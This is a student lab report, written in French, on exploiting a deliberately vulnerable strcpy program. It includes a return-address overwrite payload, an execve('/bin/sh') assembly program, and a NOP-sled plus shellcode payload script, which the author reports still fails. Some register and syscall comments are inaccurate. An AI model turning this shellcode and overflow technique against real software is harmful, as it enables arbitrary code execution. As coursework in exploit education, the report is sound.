CR - TP1 - OS430

Exercice 2 : Dummy Exploitration

1) Adresse de retour de la fonction "vuln" Pour connaître cette adresse, on peut s'y prendre de plusieurs manières. On peut mettre un breakpoint sur l'instruction `ret` et observer le contenu du registre x1 `gdb> print $rax` qui contient l'adresse de retour. Sinon on peut étudier la pile, l'adresse de retour devrait ce trouver juste avant le registre ebp (après la sauvegarde de la pile), si on met un breakpoint sur vuln on peut le voir au moment du break `gdb> x/1xw $ebp+4`.

2) Randomize_va_space Mettre ce paramètre à la valeur désactive une protection du noyaux Linux, l'ASLR. L'ASLR est une technique qui, une fois activée, va randomiser la position en mémoire de plusieurs données clé d'un programme, tel que la *stack*, le *heap* ou encore les librairies. Cela permet entre autre d'éviter les attaques de type *"buffer overflow"* dans les exécutables. Cela nous poserait quelques problèmes dans le cadre du TP.

3) 243 'A' `Python: python -c "print(200* 'A', end='')"`

4) Redirection du flot d'exécution La faille dans cette fonction est flagrante, on utilise la fonction strcpy pour copier une chaîne de caractères dans un buffer de taille limitée. Pour rediriger le flot d'exécution on va donc passer en argument un chaîne de taille supérieure à 64 pour venir écraser l'adresse de retour en bas de la pile. On sait donc que la chaîne est stockée à l'adresse $ebp-68 et que le mot à écraser est à $ebp+4. Avec un simple calcul on déduit qu'il faudra une payload de taille 76. On aura 72 octets de padding et 4 pour l'adresse. On fera attention au boutisme, car les machines Intel sont en little endian.

```
$> hexdump -v payload:
0000000 4141 4141 4141 4141 4141 4141 4141 4141
0000010 4141 4141 4141 4141 4141 4141 4141 4141
0000020 4141 4141 4141 4141 4141 4141 4141 4141
0000030 4141 4141 4141 4141 4141 4141 4141 4141
0000040 4141 4141 4141 4141 9210 0804
```

Maintenant, lorsqu'on execute le programme avec notre payload en argument on peut observer l'appel au printf de la fonction ignorée. `./vuln $(cat payload)`

Exercice 3 : Dummy Shellcoding

1) Execution d'un shell Nous avons écrit un petit programme qui exécute `/bin/sh`

```c
#include <stdio.h>
#include <unistd.h>

int main(){
    execl("/bin/sh","/bin/sh",NULL);
    return 0;
}
```

2) Instruction syscall En assembleur x86-64 l'instruction permettant de réaliser un appel système est `syscall`. En assembleur c'est un peu moins évident. Il faut faire appel à une interruption, plus particulièrement à `l'interruption 0x80`.

3) Registres x64: - `rax` contient le numéro du syscall à effectuer - `rsi` contient un pointeur vers le nom de la commande - `rdi` conteint la liste des arguments (terminé par NULL) - `rdx` contient des options (ici NULL)

x86:

- `eax` à 11 pour l'appel execve
- `ebx` nom de la commande
- `ecx` liste des arguments
- `esi` options

4) Execution d'un shell Programme en assembleur x86-64:

```
; ------------------------------------------------------------------------------
; Exec /bin/sh using system calls. Runs on 64-bit Linux only.
; To assemble and run:
;
;     nasm -felf64 hello.asm && ld hello.o && ./a.out
; ------------------------------------------------------------------------------


        global    _start

        section   .text
_start: ; Syscall exec
; On prépare:   exec("/bin/sh",["/bin/sh",NULL],NULL)
    mov rax, 59                     ; system call for exit
            mov rdi, command            ; nom de la commande
            mov rsi, argv       ; liste des arguments
            mov rdx, 0          ; NULL
    syscall         ;appel systeme

    mov rax, 60                 ; system call for exit
    xor rdi, rdi                ; exit code 0
    syscall                     ; invoke operating system to exit

          section   .data
    command: db "/bin/sh",0x0
    last_arg: dq 0x0
    argv: dq command, 0x0
```

Exercice 4 : Basic Exploitation

1) Overflow et padding L'overflow est toujours le même que dans l'exercice 2, un appel à strcpy dans un buffer de taille fixe. Le padding est toujours de 72 octets.

2) Shellcode Un shellcode est une suite de chaîne de caractères représentant du code binaire exécutable, utilisé pour lancer des programmes, tel des shell (bin/sh). On peut utiliser les shellcodes pour, après avoir exploiter des vulnérabilités dans un programme et ainsi rediriger correctement le pointeur d'instruction, exécuter le code que l'on désire.

Certains shellcode doivent être "null byte free", c'est à dire ne pas contenir d'octets à 0, car les points d'entrée sont des fonctions manipulant des chaînes. Comme c'est le cas ici notre point d'entrée étant strcpy. La fin d'une chaîne de caractères est désigné par l'octet nul, donc on ne peut pas mettre d'octet nul dans notre payload sinon elle ne sera pas copié en entier.

3) Options du compilateur `-fno-stack-protector` Cette option permet de désactiver la protection de la pile car elle est activée par défaut sur certainnes distribution linux. La protection de pile aloue un peu plus de mémoire au programmes et vérifie que cette mémoire n'a pas été altérée. source

`-z execstack` Cette option du compilateur permet d'autoriser l'execution de la stack. Cette pratique ayant été utilisé autrefois, elle est désormais déprécié car elle présente des risques en termes de sécurité. source

4) Exploitation du binaire Nous avons trouvé un shellcode sur shell-storm.org (nous n'avons conservé que la troisième partie, le execve()).

Premier payload naif: Consiste du shellcode suivi de padding avec des A, puis de la valeur de retour à écrser. Ce code fonctionne lorsqu'on l'injecte avec gdb, mais pas quand on l'exécute sur un simple shell.

```
0000000 c031 6850 2f2f 6873 2f68 6962 896e 50e3
0000010 8953 99e1 0bb0 80cd 4141 4141 4141 4141
0000020 4141 4141 4141 4141 4141 4141 4141 4141
0000030 4141 4141 4141 4141 4141 4141 4141 4141
0000040 4141 4141 4141 4141 d274 ffff
```

Nous avons donc tenté de l'améliorer en rajoutant un NOP-slide. De cette manière si l'adresse de retour ne pointe pas exactement au bon endroit le code ne crash pas.

```
pad = "\x90" * (72-4-24)  # padding de 72 bytes, NOP-slide
RAX = "\x74\xD2\xFF\xFF" # On met la valeur &buf
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
EBP = "\x28\xd3\xff\xff" # sauvegarde de ebp
print  pad + shellcode + EBP + RAX
```

```
$> python2 payload.py | hexdump -v
0000000 9090 9090 9090 9090 9090 9090 9090 9090
0000010 9090 9090 9090 9090 9090 9090 9090 9090
0000020 9090 9090 9090 9090 9090 9090 c031 6850
0000030 2f2f 6873 2f68 6962 896e 50e3 8953 99e1
0000040 0bb0 80cd d328 ffff d274 ffff 000a
```

Malheureusement ça ne marche touours pas ;(

SONKO ROUGÉ